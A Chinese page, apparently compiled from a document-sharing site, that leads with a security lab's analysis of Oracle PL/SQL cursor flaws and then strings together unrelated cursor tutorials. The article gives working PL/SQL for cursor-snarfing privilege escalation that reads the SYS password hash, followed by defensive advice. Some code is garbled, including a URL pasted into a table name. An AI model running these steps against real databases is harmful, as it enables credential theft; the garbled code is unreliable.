Oracle数据库游标中的安全隐患及防护建议

Oracle数据库游标中的安全隐患及防护建议
Oracle数据库游标中的安全隐患及防护建议

Oracle数据库游标中的安全隐患及防护建议

一. 引言

SQL是面向集合的语言,其结果一般是集合量(含多条记录),而pl/sql的变量是标量,一组变量一次只能存放一条记录。很多时候查询结果的记录数是不确定的,无法提前声明足够的变量。于是引入了游标的概念,游标使得数据库操作更灵活,但同时也给黑客入侵数据库带来了机会。安华金和数据库安全实验室(DBSec Labs)基于游标的应用原理,本文讨论游标可能带来什么安全隐患以及如何应对这些安全隐患。

二. 游标的分类

oracle数据库游标是Pl/sql执行DQL、DML等语句的时候,oracle在内存中为其结果集分配一个缓冲区。游标是指向该区的一个指针、命名一个工作区或是一种结构化数据类型。它为应用程序提供了一种对结果集中每一行数据单独处理的方法。oracle 游标基本可以分为以下3类:显式游标、隐式游标和动态游标(关系具体看下图)。

游标的核心功能在于,从表中检索出结果集,每次指向一条记录,与客户端或应用程序进行交互,因此游标是设计嵌入式SQL语句的应用程序的常用编程方式。随着游标的广泛使用,其本身的安全隐患也变得越来越突出。

三. 游标带来的安全隐患

oracle游标给数据库带来的安全隐患主要分为三大类:

3.1 缺乏异常处理,挂起的游标被恶意利用

游标将数据库中相应的信息存入内存块中,当用户打开游标的时候,可以直接访问游标指向的内存块中存放的信息,而无需再访问基表获得数据。如果一个高权限用户建立一个游标却没关闭该游标,低权限用户就有可能获得游标中存储的关键信息,或向打开的游标中注入恶意语句,进行高权限运行,达到提权或越权访问的目的。这就是游标SNARF提权的基础。

游标不正常关闭基本是人为造成的,高权限用户忘记关闭,或者游标所在的子程序缺乏异常处理机制。如果没有做相应的异常处理,黑客很有可能制造异常,使游标被一直挂起,利用未关闭的游标,注入恶意代码。再利用游标自身的高权限执行恶意代码,进行越权或者非法提权操作。

下面试验用例由安华金和数据库安全实验室提供:

SQL> connect / as sysdba

已连接。

SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS

2 CURSOR_NAME INTEGER;

3 PASSWORD VARCHAR2(30);

4 I INTEGER;

5 BEGIN

6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;

7 DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);

8 DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM

9 SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);

10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);

11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30);

12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);

13 IF PASSWORD = '01234567890ABCDEF' THEN

14 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');

15 ELSE

16 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');

17 END IF;

18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);

19 END;

20 /

PL/SQL 过程已成功完成。

SQL> grant execute on schina_test to public;

授权成功。

schina_test是一个缺乏异常处理代码的存储过程,它的作用是对给定用户找到其密码hash值,然后和固定HASH值进行比较并返回结果。open_cursor打开游标直到close_cursor 或SQL会话终止游标退出。由于缺乏异常代码机制,用任意低权限账号执行这个存储过程,可以触发异常挂起游标。

SQL> connect scott/tiger

已连接。

SQL> set serveroutput on

SQL> declare

2 x varchar(40000);

3 i integer;

4 begin

5 froi in 1..10000 loop

6 x:='b'||x;

7 end loop;

8 sys. schina_test (x);

9 end;

10 /

CURSOR 3241423

通过向p_user中输入一个过长的x,系统返回ORA-01460错误。由于存储过程

schina_test中没有对异常进行处理,虽然存储过程中关闭游标了,但由于发生异常,导致游

标被挂起,同时并未真正关闭。可以对未关闭的游标注入恶意语句,以达到所需要的效果。3.2 oracle游标漏洞提权

游标提权漏洞就是在上面的基础上利用被挂起的游标,通过类似DBMS_SQL这种由系统定义的包,把游标语句和高权限用户进行绑定。接着上面的例子通过DBMS_SQL绑定SYS,用户直接获取SYS的密码HASH。

SQL> DECLARE

2 CURSOR_NAME INTEGER;

3 I INTEGER;

4 PWD VARCHAR2(30);

5 BEGIN

6 CURSOR_NAME:=3241423;

7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS');

8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30);

9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME);

10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN

11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);

12 END IF;

13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);

14 DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);

15 END;

16 /

上述代码是在获取游标值的前提下进行的,因此在代码声明的地方写入游标值3241423。使用DBMS_SQL中的BIND_VARIABLE(cursor_name,':schina',sys)将游标和SYS用户绑定。这样执行查询SYS用户。后台数据库真正运行的语句是:select password from

sys.dba_userswhereusername='sys'。DBMS_SQl.define_column函数的作用是将游标中第

一列的值返回给PWD变量。黑客在执行完上述匿名块后,系统结果返回SYS密码的HASH 散列,使用HASH逆向工具进行转换就可以获得SYS密码明文,直接夺取数据库最高权限。

3.3 oracle游标设计本身的安全隐患

其实通过游标获取高权限账号的密码完全不用这么麻烦,oracle在游标设计上本身就有安全问题。用高权限用户写一个包,这个包中放入一个游标,功能和前面用的schina_test是一致的。用来取回需要检查账号的hash。然后和我们给出的一组预设hash做对比。低权限用户如果知道这个游标可以直接在包外调用该游标,从而获取游标中的内容。包内游标可以在包外被调用,这是oracle游标本身设计上的安全缺陷。

SQL> connect / as sysdba

已连接。

SQL> CREATE OR REPLACE PACKAGE schina AS

2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM https://www.360docs.net/doc/1b11840408.html,ER$

3 WHERE NAME=USERNAME;

4 PROCEDURE CHECK_PASSWORD;

5 END;

6 /

程序包已创建。

SQL> CREATE OR REPLACE PACKAGE BODY schina AS

2 PROCEDURE CHECK_PASSWORD IS

3 PASSWORD VARCHAR2(200);

4 BEGIN

5 OPEN X (USER());

6 FETCH X INTO PASSWORD;

7 CLOSE X;

8 IF PASSWORD = '01234567890ABCDEF' THEN

9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');

10 ELSE

11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');

12 END IF;

13 END CHECK_PASSWORD;

14 END;

15 /

程序包体已创建。

SQL>show errors

没有错误。

SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;

授权成功。

通过show errors检验发现整个过程没有X游标挂起的问题。X游标正常关闭了,到现在为止操作一切正常切换到低权限账号

SQL> connect scott/tiger

已连接。

SQL> set serveroutput on

SQL>exec sys.schina.check_password;

YOUR PASSWORD HASH IS OK

执行包返回的结果很安全,不会显示出游标内存储的内容,但如果通过一个匿名块,在包外使用游标的结果就变得不安全了,低权限用户可以轻易使用高权限用户设置的游标。通过游标直接可以获取到游标中存储的结果集。

SQL> DECLARE PASSWORD VARCHAR2(200);

2 BEGIN OPEN SYS. SCHINA.X ('SYS');

3 FETCH SYS. SCHINA.X INTO PASSWORD;

4 CLOSE SYS. SCHINA.X;

5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);

6 END;

7 /

The SYS password is CF10653F66A74AC2

任何权限账号的密码通过这种方式都会被低权限用户直接获取HASH值,然后通过HASH 逆向工具,获取全部账号的密码。

四. 解决办法

根据上一节游标的安全隐患,我们摸清了游标安全隐患的成因。本章讲叙述如何防范这些安全隐患。

4.1 防游标被恶意挂起

1)单纯的规范输入验证过程,绑定变量已经不能满足游标日益严峻的安全隐患威胁。应当对用户可输入参数的变量的长度做更严格的限制,来防止触发异常。最基本办法是按照用户输入参数的正常值的长度来进行限制,在用户输入参数后,先对参数进行长度校验。如果超过默认长度,直接抛弃该次输入,这样可以在一定程度上减少异常发生的概率。

2)始终保持子程序中,有专门对付异常的异常处理机制。防止恶意输入,导致游标被挂起。当异常发生的时候,保证会把游标关闭。

4.2 防游标漏洞提权

在前面提到的利用游标进行提权的技术核心是利用DBMS_SQL包中的一些带有varchar 参数的函数,尤其是DBMS_sql.parse函数是完成游标注入类攻击。攻击者正是通过这个函数完成将恶意代码注入到函数中,并将恶意代码与游标绑定。

于是最直接的想法是通过撤销DBMS_SQL的PUBLIC权限来限制低权限用户对DBMS_SQL的利用。但整个oracle中至少有170个对象依赖于DBMS_SQL。如果撤销DBMS_SQL的公共权限,将会造成很多操作上的麻烦。虽然DBMS_SQL提供了注入的土壤,

但如果我们对DDL语句加以限制也可以从另一个角度阻止黑客利用DBMS_SQL对数据库进行恶意攻击。限制DDL语句有3种方式:

1)通过权限进行控制。

2)通过BEFORE型的安全触发器进行控制。

3)通过防火墙进行控制。

安华金和数据库安全专家经过很多测试分析发现,当用户量少的时候DBA可以对每个用户进行逐个权限设置,但如果用户量大,逐个权限设置既不现实也不准确。这时推荐采用数据库防火墙和BEFORE型的安全触发器。可以在用户执行DDL语句之前触发来返回一个自定义系统错误,告知用户没有执行DDL权限,这样就可以达到限制用户执行DDL的目的了。但是如果想更精确的限制用户DDL语句,使用数据库防火墙可以比采用触发器更方便和更灵活。

4.3 防游标设计缺陷

oracle全局游标设计存在问题,游标可以在被定义的包外打开,低权限用户正常操作,很可能就会获取到高权限才可以看到的敏感信息。如果在可选的情况下,尽量不使用游标,如果要使用游标,尽量使用局部游标(无法在游标定义包外打开的游标)。最后如果一定要使用全局游标,安华金和数据库安全专家提示可以通过数据库防火墙或者触发器对调用游标的用户进行检查。如果发现该用户权限低于创建游标的用户,则禁止该游标被用户打开,否则用户可以正常调用该游标。

4.4 建议

游标作为oracle的核心子程序,安全性十分重要。但oracle的游标虽然解决了一些问题,但咱安全性上还有很大问题。安华金和建议Oracle给游标一个参数,作为安全参数。默认打开安全参数,当游标在其被定义的包外打开的时候,对游标进行强制检查,一旦发现打开该游标的用户权限低于创建游标者的权限,则直接抛出异常,禁止打开该游标。

五. 结束语

本文从安全角度来分析oracle游标。从三个不同角度发现oracle游标存在大量的安全隐患。其中有DBA失误造成的,也有oracle漏洞引起的,但最严重的是oracle的全局游标本身设计上的问题。为了保护敏感信息,可以通过权限设置,创建触发器,部署数据库防火墙等多种方法进行防护。但最重要的还是希望oracle可以对游标设置一个安全参数。对在包外打开的游标的调用者进行资格审核。只有这样才能从机制上解决Oracle游标的安全隐患。

oracle游标的使用及属性

oracle游标的使用及属性 oracle游标的使用 游标是从数据表中提取出来的数据,以临时表的形式存放到内存中,在游标中有一个数据指针,在初始状态下指向的是首记录,利用fetch语句可以移动该指针,从而对游标中的数据进行各种操作,然后将操作结果写回到数据库中。 一:定义游标 cursor游标名isselect语句; 示例: setserveroutputon declare tempsalscott.emp.sal%type; cursormycursorisselect *fromscott.empwheresal>tempsal; begin tempsal:=800; openmycursor; end; 二:打开游标 语法结构:open游标名 打开游标分为两步:1将符合条件的记录送入内存2将指针指向第一条记录 三:提取游标数据

语法形式:fetch游标名into变量名1,变量名2,.....;或者 fetch游标名into记录型变量名; 示例: setserveroutputon declare tempsalscott.emp.sal%type; cursormycursorisselect*fromscott.empwheresal>tempsal; cursorrecordmycursor%rowtype; begin tempsal:=800; openmycursor; fetchmycursorintocursorrecord; dbms_output.put_line(to_char(cursorrecord.deptno)); end; 四:关闭游标 close游标名; Oracle游标的属性之一------%isopen %isopen 属性----测试游标是否打开,没打开的情况下使用fetch语句将提示错误。 示例:

Oracle 游标使用全解

-- 声明游标;CURSOR cursor_name IS select_statement --For 循环游标 --(1)定义游标 --(2)定义游标变量 --(3)使用for循环来使用这个游标 declare --类型定义 cursor c_job is select empno,ename,job,sal from emp where job='MANAGER'; --定义一个游标变量v_cinfo c_emp%ROWTYPE ,该类型为游标c_emp中的一行数据类型 c_row c_job%rowtype; begin for c_row in c_job loop dbms_output.put_line(c_row.empno||'-'||c_row.ename||'-'||c_row.job||'-'||c_row.sal); end loop; end; --Fetch游标 --使用的时候必须要明确的打开和关闭 declare --类型定义 cursor c_job is select empno,ename,job,sal from emp where job='MANAGER'; --定义一个游标变量 c_row c_job%rowtype; begin open c_job; loop --提取一行数据到c_row fetch c_job into c_row; --判读是否提取到值,没取到值就退出 --取到值c_job%notfound 是false --取不到值c_job%notfound 是true exit when c_job%notfound; dbms_output.put_line(c_row.empno||'-'||c_row.ename||'-'||c_row.job||'-'||c_row.sal);

Oracle显式游标和隐式游标

Oracle显式游标和隐式游标 SQL是用于访问Oracle数据库的语言,PL/SQL扩展和加强了SQL的功能,它同时引入了更强的程序逻辑, 下面在本文中将对游标的使用进行一下讲解,希望可以和大家共同学习进步。 游标字面理解就是游动的光标。游标是SQL的一个内存工作区,由系统或用户以变量的形式定义。在某些情况下,需要把数据从存放在磁盘的表中调到计算机内存中进行处理,最后将处理结果显示出来或最终写回数据库。这样数据处理的速度才会提高,否则频繁的磁盘数据交换会降低效率。用数据库语言来描述游标就是映射在结果集中一行数据上的位置实体,有了游标,用户就可以访问结果集中的任意一行数据了,将游标放置到某行后,即可对该行数据进行操作,例如提取当前行的数据等。 游标有两种类型:显式游标和隐式游标。游标一旦打开,数据就从数据库中传送到游标变量中,然后应用程序再从游标变量中分解出需要的数据,并进行处理。 当系统使用一个隐式游标时,可以通过隐式游标的属性来了解操作的状态和结果,进而控制程序的流程。隐式游标可以使用名字SQL来访问,但要注意,通过SQL游标名总是只能访问前一个处理操作或单行SELECT操作的游标属性。所以通常在刚刚执行完操作之后,立即使用SQL游标名来访问属性。游标的属性有四种,分别是 SQL %ISOPEN,SQL %FOUND,SQL %NOTFOUND,SQL %ROWCOUNT。 SQL%ISOPEN返回的类型为布尔型,判断游标是否被打开,如果打开%ISOPEN等于true,否则等于false,即执行过程中为真,结束后为假。 SQL%NOTFOUND返回值为布尔型,判断游标所在的行是否有效,如果有效, 则%FOUNDD等于true,否则等于false,即与%FOUND属性返回值相反。 SQL%FOUND返回值的类型为布尔型,值为TRUE代表插入删除更新或单行查询操作成功。 SQL%ROWCOUNT返回值类型为整型,返回当前位置为止游标读取的记录行数,

oracle11g游标及触发器相关知识

oracle11g 游标: 1. 当在PL/SQL中使用SQL语句时,Oracle会为其分配上下文区域,这是一段 私有的内存区域,用于暂时保存SQL语句影响到的数据。游标是指向这段内存区域的指针。 2. Oracle中主要有两种类型的游标: (1) 隐式游标:所有的DML语句和PL/SQL SELECT 语句都有; (2) 显式游标:由开发人员声明和控制。 3. 可以使用的游标属性包括四种:%ROWCOUNT、%FOUND、%NOTFOUND、 %ISOPEN,这四种属性对于显式游标和隐式游标都有用,但是含义和使用方法略有不同。游标在使用属性时,需要以游标名称作为前缀,以表明该属性是哪个游标的,隐式游标没有名称,所以在使用隐式游标时采取了统一的一个名称SQL。 4. 在PL/SQL中的SELECT语句只能且必须取出一行数据,取出多行或者零行都 被认为是异常,所以在对多行数据进行操作时,必须使用显式游标来实现。 5. 使用显式游标的步骤: (1)声明游标:CURSOR cursor_name is select_statement; (2)打开游标:OPEN cursor_name; (3)取游标中的数据:FETCH cursor_name INTO variable1,variable2,...; (4)关闭游标:CLOSE cursor_name; 6.用变量接收游标中的数据 sql> declare v_name emp.ename%TYPE; v_sal emp.sal%TYPE; cursor emp_cursor is select ename,sal from emp where deptno=10; begin open emp_cursor; loop fetch emp_cursor into v_name,v_sal; exit when emp_cursor%NOTFOUND; dbms_output.put_line(v_name || ‘的薪水是’ || v_sal);

Oracle 函数返回游标的方法及应用

Oracle函数返回游标的方法及应用简析 王凤利康俊霞 河北北方学院张家口职业技术学院 【摘要】Oracle函数除了可以返回数值类型和字符类型等常用数据类型的数 据以外,还可以返回游标类型的数据,在某些情况下,返回游标类型的函数为我们 解决一些应用中的难题。本文就是通过一个实例来介绍返回游标函数的创建过程。 【关键字】Oracle,函数,包,游标。 1 问题的提出 在油田信息系统建设过程中,遇到了这样一个问题:输油站泵运行数据表(DHC05)的结构为:时间(SJ)、单位名称(DWMC)、泵号(BH)、泵压(BY1)、电压(DY)、电流(DL)、排量(PL),主键为:时间、单位名称、泵号,每整点对运行泵取一次数据,不存储不运行泵(运行时间为0)的数据。现要输出如下报表: 报表的查询条件为单位名称和日期(yyyymmdd格式字符串)。运行泵号及泵台数根据各单位实际运行情况而定。 2 系统简介 系统采用B/S三层体系结构,数据库采用Oracle9.2版本,WEB服务器采用IIS6.0版本,客户端采用IE6.0及以上版本。 报表采用了统一的制表解释程序进行输出,该解释程序可以从一个单一的Oracle查询语句中提取数据,报表的输出样式为简单的二维表。 3 解决方案 根据目前的系统现状,要想直接利用当前系统输出本报表是不可能的,经过分析认为共有以下几种解决方案: a)修改数据表结构 将原始数据表的结构进行调整,把时间、单位名称作为主键,将同一时刻的各个泵的数据逐个列出作为数据列,大致结构为:时间、单位名称、1号泵泵压、1号泵电压、1号泵电流、1号泵排量、2号泵泵压、2号泵电压、2号泵电流、2号泵排量、…。 本方案违背了数据库设计的基本原则,因各个单位的泵数不相等,只能按最大泵数进行数据库结构设计,当站库继续扩大、泵数继续增加时需要对数据库结构和所有用到该数据表

【黑马程序员】Oracle 游标使用全解

【黑马程序员】Oracle 游标使用全解 有很多同学在使用oracle 数据库的时候对游标这个东西不知道如何处理,感觉使用起来很难,今天我们就讨论一下游标的使用,满满的都是干货,以下代码几乎包含了oracle 游标使用的方方面面,全部通过了测试! -- 声明游标; 1 C URSOR cursor_name IS select_statement --For 循环游标 --(1)定义游标 --(2)定义游标变量 --(3)使用for 循环来使用这个游标 01 02 03 04 05 06 07 08 09 10 11 12 13 14 declare --类型定义 cursor c_job is select empno ,ename ,job ,sal from emp where job ='MANAGER'; --定义一个游标变量v_cinfo c_emp%ROWTYPE ,该类型为游标c_emp 中的一行数据类型 c_row c_job%rowtype; begin for c_row in c_job loop dbms_output.put_line (c_row.empno||'-'||c_row.ename||'-'||c_row.job||'-'||c_row.sal ); end loop; end ; --Fetch 游标 --使用的时候必须要明确的打开和关闭 01 02 03 declare --类型定义 cursor c_job

04 05 06 07 08 09 10 11 12 13 14 15 16 is select empno,ename,job,sal from emp where job='MANAGER'; --定义一个游标变量 c_row c_job%rowtype; begin open c_job; loop --提取一行数据到c_row fetch c_job into c_row; --判读是否提取到值,没取到值就退出 --取到值c_job%notfound 是false --取不到值c_job%notfound 是true exit when c_job%notfound; dbms_output.put_line(c_row.empno||'-'||c_row.ename||'-'||c_row.job||' -'||c_row.sal); end loop; --关闭游标 close c_job; end; --1:任意执行一个update操作,用隐式游标sql的属 性%found,%notfound,%rowcount,%isopen观察update语句的执行情况。 begin update emp set ENAME='ALEARK' WHERE EMPNO=7469; if sql%isopen then dbms_output.put_line('Openging'); else dbms_output.put_line('closing'); end if; if sql%found then dbms_output.put_line('游标指向了有效行');--判断游标是否指向有效行 else dbms_output.put_line('Sorry'); end if; if sql%notfound then dbms_output.put_line('Also Sorry'); else dbms_output.put_line('Haha'); end if;

Oracle存储过程学习_游标CURSOR使用

游标CURSOR的使用学习 游标的类型: 1,隐式游标:在 PL/SQL 程序中执行DML SQL 语句时自动创建隐 式游标,名字固定叫sql。 2,显式游标:显式游标用于处理返回多行的查询。 3,REF 游标:REF 游标用于处理运行时才能确定的动态 SQL 查询 的结果 一、隐式游标 在PL/SQL中使用DML语句时自动创建隐式游标 q隐式游标自动声明、打开和关闭,其名为 SQL q通过检查隐式游标的属性可以获得最近执行的DML 语句的信息q隐式游标的属性有: q%FOUND – SQL 语句影响了一行或多行时为 TRUE q%NOTFOUND – SQL 语句没有影响任何行时为TRUE q%ROWCOUNT – SQL 语句影响的行数 q%ISOPEN - 游标是否打开,始终为FALSE begin update student s set s.sage = s.sage + 10; if sql %FOUND then dbms_output.put_line('这次更新了' || sql% rowcount); else dbms_output.put_line('一行也没有更新'); end if; end; 在select中有两个中比较常见的异常: 1. NO_DATA_FOUND 2. TOO_MANY_ROWS declare sname1 student.sname%TYPE; begin

select sname into sname1 from student; if sql%found then dbms_output.put_line(sql%rowcount); else dbms_output.put_line('没有找到数据'); end if; exception when too_many_rows then dbms_output.put_line('查找的行记录多于1行'); when no_data_found then dbms_output.put_line('未找到匹配的行'); end; 显式游标: sqlserver与oracle的不同之处在于:最后sqlserver会deallocate 丢弃游标,而oracle只有前面四步:声明游标、打开游标、使用游标读取记录、关闭

Oracle数据库游标在包中的使用

--创建学员信息表 create table stuInfo ( stuId varchar2(15) not null, --学员Id,主键 stuName varchar2(10) not null, --学员姓名 stuNo varchar2(10) not null, --学号,外键应用stuMarks的stuNo stuAge int not null, --年龄 stuAddress varchar2(100) default('中国') not null,--家庭住址 stuEmail varchar2(100) not null --电子邮箱 ); alter table stuInfo add constraint PK_stuId primary key(stuId); alter table stuInfo add constraint CK_stuAge check(stuAge between 18 and 40); alter table stuInfo add constraint CK_stuEmail check(stuEmail like '%@%'); --创建序列 create sequence SQ_ID increment by 1 start with 10000; --为学员信息表创建触发器TG_STUID create or replace trigger TG_STUID before insert on stuInfo for each row begin select 'SID'||SQ_ID.Nextval into :new.stuId from dual; end; --向学员信息表中添加数据 insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('张飞','s1t0102',30,'三国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('关羽','s1t0830',35,'蜀国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('马超','s2t1326',25,'三国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('刘备','s3t0403',40,'蜀国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('诸葛亮','s2t1521',21,'蜀国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('刘翔','s3t0706',29,'上海',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('曹操','s3t0915',34,'魏国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('孙权','s1t1123',32,'东吴',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values ('董卓','s2t0507',35,'三国',''); insert into stuInfo(stuName,stuNo,stuAge,stuAddress,stuEmail) values

Oracle10.2并发条件下更新游标数据的研究

Oracle10.2并发条件下更新游标数据的研究 本文测试在PL/SQL编程中,更新游标数据的2种方式以及并发条件下各种方式的实际表现。2种方式的效率问题不在此文讨论之列! 一、环境准备 数据库:Oracle10.2.0.4 测试工具:PL/SQL Developer9 二、数据准备 我们使用oracle自带的演示用户scott登录数据库,为清楚看到数据变化,执行以下语句: 查询emp表: 结果如图1所示:

图1 Sal字段已经全部更新为1000 三、创建存储过程ps_cursor_for_update

四、测试ps_cursor_for_update PL/SQL Developer工具具有很强大的plsql调试功能,我们使用两个test窗口进行模拟并发执行的情况 在编辑存储过程的界面,在打开游标的代码行加入一个断点: 图2 在存储过程ps_cursor_for_update上点击右键,打开两个test窗口: 窗口1中,输入参数填写2000 窗口2中,输入参数填写3000,如图3、4所示: 图3 图4 两个窗口分别点击start bugger按钮,开始调试,并点击run按钮,分别运行到打开游标的一行,并在窗口2中进行单步调试,运行到如图5所示位置:

图5 此时窗口1中,开始单步调试,发现状态栏处于运行中(图7),但调试光标始终停在断点行(图6) 图6 图7 说明游标打开的数据已经被窗口2的进程锁定,所以窗口1的进程无法打开数据 下面把窗口2的断点去掉,并点击run按钮使此过程执行完毕,可以发现,此时窗口1中,代码已经执行到了原断点位置的下一行: 图8 结论:窗口2执行了commit语句,PL/SQL过程结束,并解锁操作的数据,使窗口1的过程得以打开游标。 查询emp表的数据:

Oracle 数据库中 游标实验报告

Oracle 数据库实验报告 系别:******* 班级:******* 姓名:******* 学号:******* 指导老师:****

一.实验名称 用带参数游标的FOR循环依此输出每一个部门名称,在部门名称的下面输出该部门的员工姓名和工资,按工资的升序排列。二.实验目的 通过本次实验,逐渐熟悉oracle数据库的应用及输出的格式,更加深刻的了解其输出的语法,变量的定义及赋值和操作环境以及循环结构,异常的捕获,定义,处理,Oracle数据库中表的创建,插入,及表中所需数据的提取,掌握游标的定义,使用。三.实验步骤 开始——运行输入cmd,出来oracle运行界面,代码如下: DECLARE --变量,游标的声明; CURSOR dept_cursor IS SELECT Dname,Deptno FROM DEPT; --游标的定义; CURSOR emp_cursor(v_dept CHAR) IS SELECT Ename,Salary FROM EMP WHERE deptno=v_dept ORDER BY Salary;--按工资升序排序格式输出; BEGIN FOR dept_record IN dept_cursor LOOP --for循环,查询的结果单独的输出; DBMS_OUTPUT.PUT_LINE('部门名称为:

'||dept_record.Dname||chr(10)||'部门编号:'||dept_record.Deptno); --输出语句; FOR emp_record IN emp_cursor(dept_record.Deptno) LOOP DBMS_OUTPUT.PUT_LINE('员工姓名为:'||emp_record.Ename||'员工工资为:'||emp_record.Salary); END LOOP; END LOOP; END; / 四.实验结果

Oracle数据库游标使用大全

Oracle数据库游标使用大全(1) SQL是用于访问ORACLE数据库的语言,PL/SQL扩展和加强了SQL的功能,它同时引入了更强的程序逻辑。PL/SQL支持DML命令和SQL的事务控制语句。本文我们将讨论各种用于访问ORACLE数据库的DDL和TCL 语句。 SQL是用于访问ORACLE数据库的语言,PL/SQL扩展和加强了SQL的功能,它同时引入了更强的程序逻辑。PL/SQL支持DML命令和SQL的事务控制语句。DDL在PL/SQL中不被支持,这就意味作在PL/SQL程序块中不能创建表或其他任何对象。较好的PL/SQL程序设计是在PL/SQL块中使用象DBMS_SQL这样的内建包或执行EXECUTE IMMEDIATE命令建立动态SQL来执行DDL命令,PL/SQL编译器保证对象引用以及用户的权限。下面我们将讨论各种用于访问ORACLE数据库的DDL和TCL语句。 查询 SELECT语句用于从数据库中查询数据,当在PL/SQL中使用SELECT语句时,要与INTO子句一起使用,查询的返回值被赋予INTO子句中的变量,变量的声明是在DELCARE中。SELECT INTO语法如下: PL/SQL中SELECT语句只返回一行数据。如果超过一行数据,那么就要使用显式游标(对游标的讨论我们将在后面进行),INTO子句中要有与SELECT子句中相同列数量的变量。INTO子句中也可以是记录变量。TYPE属性 在PL/SQL中可以将变量和常量声明为内建或用户定义的数据类型,以引用一个列名,同时继承他的数据类型和大小。这种动态赋值方法是非常有用的,比如变量引用的列的数据类型和大小改变了,如果使用了%TYPE,那么用户就不必修改代码,否则就必须修改代码。 例: 不但列名可以使用%TYPE,而且变量、游标、记录,或声明的常量都可以使用%TYPE。这对于定义相同数据类型的变量非常有用。

oracle for循环 用在 游标中

oracle for循环用在游标中 游标FOR循环 在大多数时候我们在设计程序的时候都遵循下面的步骤: 1、打开游标 2、开始循环 3、从游标中取值 4、检查那一行被返回 5、处理 6、关闭循环 7、关闭游标 可以简单的把这一类代码称为游标用于循环。但还有一种循环与这种类型不相同,这就是FOR循环,用于FOR循环的游标按照正常的声明方式声明,它的优点在于不需要显式的打开、关闭、取数据,测试数据的存在、定义存放数据的变量等等。游标FOR 循环的语法如下: --游标for循环(给所有的部门经理减薪1000)DECLARE CURSOR emp_cur IS SELECT empno,ename,sal FROM emp WHERE job='MANAGER' FOR UPDATE;

FOR emp_row IN emp_cur LOOP UPDATE emp SET sal=sal-1000 WHERE CURRENT OF emp_cur; END LOOP; COMMIT; END; --我们可以看到游标FOR循环确实很好的简化了游标的开发,我们不在需要open、fetch和close语句,不在需要用%FOUND属性检测是否到最后一条记录,这一切Oracle 隐式的帮我们完成了。 --给经理加薪5000,其他加薪1000 DECLARE CURSOR emp_cur IS SELECT * FROM emp FOR UPDATE; BEGIN FOR emp_row IN emp_cur LOOP IF emp_row.job='MANAGER' THEN UPDATE emp SET sal=sal+5000 WHERE CURRENT OF emp_cur;

Oracle 隐式游标

Oracle 隐式游标 在执行一个SQL语句时,Oracle会自动创建一个隐式游标。这个游标是内存中处理该语句的工作区域,在其中存储了执行SQL语句的结果。通过游标的属性可获知SQL语句的执行结果,以及游标的状态信息。 游标的主要属性如下: ●%FOUND 布尔型属性,如果SQL语句至少影响到一行数据,则该属性为TRUE, 否则为FALSE。 ●%NOTFOUND 布尔型属性,与%FOUND相反。 ●%ISOPEN 布尔型属性,当游标已经打开时返回TRUE,游标关闭时则为FALSE。 ●%ROWCOUNT 数字型属性,返回受SQL语句影响的行数。 如果执行了一个SELECT语句,则可以通过SQL%ROWCOUNT来检查受影响的行数,还可以通过SQL%FOUND属性值是否为TRUE,以检查SQL语句是否检索到了数据。当使用隐式游标的属性时,需要在属性前加上SQL。因为Oracle在创建隐式游标时,默认的游标名为SQL。 现在来看一个更新SCOTT模式中EMP表的示例。在该示例中,将更新一名员工的信息,并通过游标的属性查看被更新的记录数。 SQL> set serveroutput on SQL> begin 2 update emp 3 set sal=1200 4 where empno='7369'; 5 if sql%notfound then 6 dbms_output.put_line('未更新任何记录'); 7 else 8 dbms_output.put_line('更新' || sql%rowcount || '条记录'); 9 end if; 10 end; 11 / 更新1条记录 PL/SQL 过程已成功完成。 由于游标的属性信息总是反映最新的SQL语句处理结果,因此当在一个程序块中出现多个SQL语句时,需要及查检查属性值。例如,在下面的示例中,将添加一个SELECT语句查看两个SQL语句对游标的影响。 SQL> set serveroutput on SQL> declare 2 employee_row emp%rowtype; 3 begin 4 update emp 5 set sal=sal+200 6 where job='CLERK';

游标和异常处理 oracle

